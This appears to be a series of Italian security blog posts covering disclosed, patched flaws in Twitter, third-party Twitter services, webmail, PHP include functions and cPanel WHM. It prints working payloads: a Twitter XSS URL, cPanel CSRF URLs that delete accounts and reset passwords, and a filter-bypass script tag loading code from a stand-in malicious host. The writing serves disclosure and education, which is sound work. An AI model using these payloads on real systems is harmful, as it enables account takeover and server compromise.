Twitter horror

Non nutro una particolare simpatia per i social network più famosi, preferisco occuparmi delle implicazioni che possono portare in ambito di privacy e web security. Twitter è una piccola eccezione: mi piace perchè è immediato e semplice.

Twitter, come altri social network, è stato bersaglio di problemi di sicurezza nel corso del tempo. Recentemente ho notato, insieme a Rosario Valotta, un problema di sicurezza che poteva permettere ad un attaccante di prendere il pieno controllo di un account tramite il click su di un link da parte della vittima.

Più nel dettaglio il problema era relativo alla validazione dei parametri della query string: a causa di alcuni caratteri Unicode non correttamenti gestiti dall’applicazione e dall’output del nome del paramentro senza encoding era possibile far scattare un XSS richiamando una URL di questo genere:

http://twitter.com/testxss?<script>alert(‘xss’)</script>=%A2

Il problema della validazione dei caratteri unicode su Ruby On Rails, framework sul quale Twitter è basato, è stato risolto a Settembre 2009. Niente di nuovo, anche se non eravamo a conoscenza dell’articolo prima di fare indagini sulla vulnerabilità trovata. E’ buffo che nei primi giorni di Settembre, Brian Mastenbrook (a cui vanno i crediti per il problema degli Unicode su RoR), sul suo blog ha dichiarato:

After a few days of not receiving a response from either vendor, I decided to ping both of them to get an update. I pinged a security researcher who I knew worked at Twitter, and after a little back and forth things were quickly resolved and Twitter was patched.

Probabilmente hanno installato la patch senza fare code review dell’intero software o perlomeno delle funzioni utilizzate per la validazione dell’output.

L’XSS sul dominio twitter.com permetteva il pieno controllo dell’account della vittima al solo click di un link presente in un twit . Una falla innocente, come viene classificato l’XSS, in questo caso poteva innescare una infezione virale proprio per la natura su cui si basano i social network.
Tecniche come identity stealing, malware distribution e spam sarebbero state immediate.

Il video seguente dimostra in azione la vulnerabilità sfruttata da un JavaScript di poche righe scritto in qualche minuto:

Twitter dovrebbe curarsi maggiormente della sicurezza dei propri utenti, ed essi dovrebbero avere maggiore cura delle informazioni personali che pubblicano nel World Wide Web.

Disclosure:

  • 27 Ottobre: trovata la vulnerabilità
  • 28 ottobre:  Twitter avvisato del problema
  • 3 Novembre: Twitter riconosce il problema nella advisory di Brian Mastenbrook (ma non era già stata installata la patch?)
  • 10 Novembre: Twitter corregge la pagina di errore togliendo l’output del nome del paramentro
 

Month of Twitter bug

Twitter Luglio sarà il mese dei bug legati  a tutti i servizi che utilizzano le  API di Twitter: Month of Twitter Bug (MoTB per gli amici) appunto.
Ieri sono stati pubblicati diversi XSS riguardanti il servizio bit.ly utilizzato per rendere più brevi le URL. La pericolosità degli XSS sta nel fatto che nell’account di bit.ly si possono inserire i profili di Twitter in modo da postare gli aggiornamenti direttamente da quel servizio. In questo modo un XSS può permettere all’attaccante di aggiornare l’account di Twitter della vittima senza che questa se ne accorga.

Per ora non sono state ancora pubblicate i dettagli del secondo servizio coinvolto a causa del fuso orario.
Per oggi 2 Luglio è statopublicato un XSS sul servizio HootSuite che permette la gestione di più account Twitter. Leggendo i commenti del post però sembra che ci siano altri XSS sul servizio oltre a quello segnalato dal MoTB.

L’idea è venuta ad Aviv Raff, già coinvolto nel Month Of Browser Bug creato da H.D. Moore, per mettere in luce quanto sia importante la cura della sicurezza dei servizi terzi che utilizzano le API di Twitter. Non ci vorrebbe molto a scrivere un worm che, sfruttando tutte queste vulnerabilità, impatti su un gran numero di utenti di Twitter.

Sarà sicuramente interessante leggere tutte le vulnerabilità che verranno pubblicate durante il mese.

 

Le Webmail sono morte, viva le Webmail

Il fenomeno Webmail 2.0 è scoppiato da quando Google con la sua Gmail, ha scosso i concorrenti proponendo svariati giga per archiviare la propria posta elettronica online.
Non sempre però va tutto come dovrebbe e succede che la privacy della propria casella viene messa a rischio da vulnerabilità XSS e CSRF; evidentemente di criticità media-bassa nella svariata maggioranza di casi.
In questo caso però, grazie alla somma di più problemi un attacker può modificare le configurazioni delle caselle di posta elettronica delle vittime, impostando l’inoltro automatico di tutte le mail in arrivo verso un account e-mail da egli controllato. In tal modo è possibile violare la riservatezza delle caselle delle vittime senza ricorrere ai comuni metodi di identity stealing (cookie stealing, credential stealing), ma semplicemente inviando e-mail, preparare ad arte, alle vittime.
La pericolosità di questa tecnica è resa critica grazie a tre fattori:

  1. semplicità di exploiting (cross-browser)
  2. scarsa awareness della vittima (nessuna interazione richiesta oltre all’apertura della mail stessa)
  3. diffusione sul web (ampia diffusione della piattaforma vulnerabile e possibilità di propagazione virale)

Sia chiaro, nessuna novità nella categoria delle vulnerabilità delle Web Application, ma una dimostrazione di come l’insieme di alcune di queste può portare ad uno dei più gravi problemi mai registrati on-the-wild su Web Application. I bug scoperti sono adatti per sfruttati da quello che potrebbe essere uno dei più grandi e gravi Worm delle Web Application: numero di domini Internet coinvolti maggiore di 10 (cross-domain) e semplicità di propagazione.

Prima di scendere nei dettagli del funzionamento dell’attacco è doveroso precisare che il problema è stato corretto a tempo di record dal vendor che si è dimostrato attento alla sicurezza dei propri clienti.

(Continua…)

 

PHP filesystem attack vector

Qualche giorno fa il team USH ha rilasciato una advisory, a firma di Francesco ‘ascii’ Ongaro e Giovanni ‘evilaliv3′ Pellerano, a riguardo di alcune vulnerabilità riscontrate in alcune funzioni di PHP per l’accesso al filesystem; nello specifico alle funzioni della famiglia include e require.
I problemi identificati portano un attaccante a poter gestire un Local File Inclusion in piena autonomia, bypassando filtri, prefissi o suffissi hardcoded all’interno della chiamata alla funzione.

Nel dettaglio si tratta di due scoperte distinte, che se usate in accoppiata permettono di fare truncation del path in modo da aprire un file arbitrario presente sul filesystem del sistema o all’interno della open_basedir se configurata.

Consiglio di leggere l’advisory completa e magari il thread dedicato su Full Disclosure.

 

cPanel 11: Cross-Site Scripting e Request Forgery multipli

Manual XSS

cPanel è una applicazione Web proprietaria per l’automazione di server che forniscono Web Hosting, nata per semplificare il lavoro agli amministratori. Il software è diviso in due parti principali: cPanel e WHM (Web Host Manager). La prima è utilizzata dai clienti , i quali siti sono ospitati sul server, per gestire le varie configurazioni del proprio spazio. La seconda è utilizzata dall’amministratore e da eventuali rivenditori per la gestione dell’intera macchina e degli account dei clienti.

Di default WHM risponde alla porta 2086 (HTTP) e 2087 (HTTPS) del server dove l’applicazione è installata e utilizza autentication basic per l’accesso. Un accesso privilegiato su WHM permette il controllo a livello root della macchina. Ovvero le funzioni richiamabili da Web sono critiche per l’integrità del server.

Purtroppo però qualsiasi funzione è richiamabile tramite CSRF (Cross-site Request Forgery). L’attaccante, conoscendo la porta e il dominio dove la vittima (l’utente con privilegi su WHM) ha effettuato il login, può far visitare una pagina appositamente creata contenente un url, caricata ad esempio con il tag “<img>”, simile a questa https://host_of_cpanel:2087/scripts/killacctlist?domain=victim.com&user=victim
Non credo serva dell’immaginazione per capire cosa succederà.
cPanel ha introltre sviluppato delle API in formato XML per semplificare l’integrazione delle funzioni di amministrazione di WHM in software di terze parti. Le API utilizzano la stessa porta e lo stesso tipo di autenticazione di WHM, questo fa si che se la vittima ha attiva una sessione su WHM possono essere usate le API XML per condurre attacchi CSRF in maniera semplificata. Ad esempio una url di questo tipo https://host_of_cpanel:2087/xml-api/passwd?user=victim&pass=0wnedpasswd permette di modificare la password di un qualsiasi utente presente sul server.

Le funzioni di WHM soffrono anche di problemi nell’input-validation nel caso specifico XSS (Cross-site Scripting). Era già stata creata una funzione di encoding HTML dei caratteri “pericolosi” per attacchi XSS, ma evidentemente non è stata implementata nel modo giusto. Utilizzando un numero arbitrario di parentesi angolari intorno al tag <script> è possibile bypassare il filtro:
>><<<<<<<<<<<<script src=”http://malicious.site/code.js” a=>>>>>>>><

Non vedo limiti di utilizzo di questa vulnerabilità; l’unico limite è la fantasia e una dose di social engineering. Mi sembra molto interessante poter recuperare la lista degli account presenti sul server.

Come spiegato anche nell’advisory originale, nelle versioni 11.18.4+ e 11.22.3+ le vulnerabilità XSS sono state risolte mentre quelle CSRF sono state mitigate inserendo un controllo dei referer HTTP al momento di una richiesta ad una funzione di WHM. Attenzione perchè, come spiegato nel post sul blog di cPanel, la funzione “anti-XSRF attacks” va abilitata a mano all’interno di “Tweak Settings”.

Spero che il prima possibile il core delle funzioni di WHM venga riscritto! Come già visto, nell’advisory su Tumblr, i referer HTTP non sono da utilizzare per funzioni anti-CSRF.

Maggiori riferimenti possono essere trovati su Secunia Advisory ID 30166 e come CVE-2008-2070 e CVE-2008-2071.
Segnalo inoltre che sono state segnalate vulnerabilità simili anche sulla parte en-user di cPanel: maggiori informazioni su Secunia ID 30027.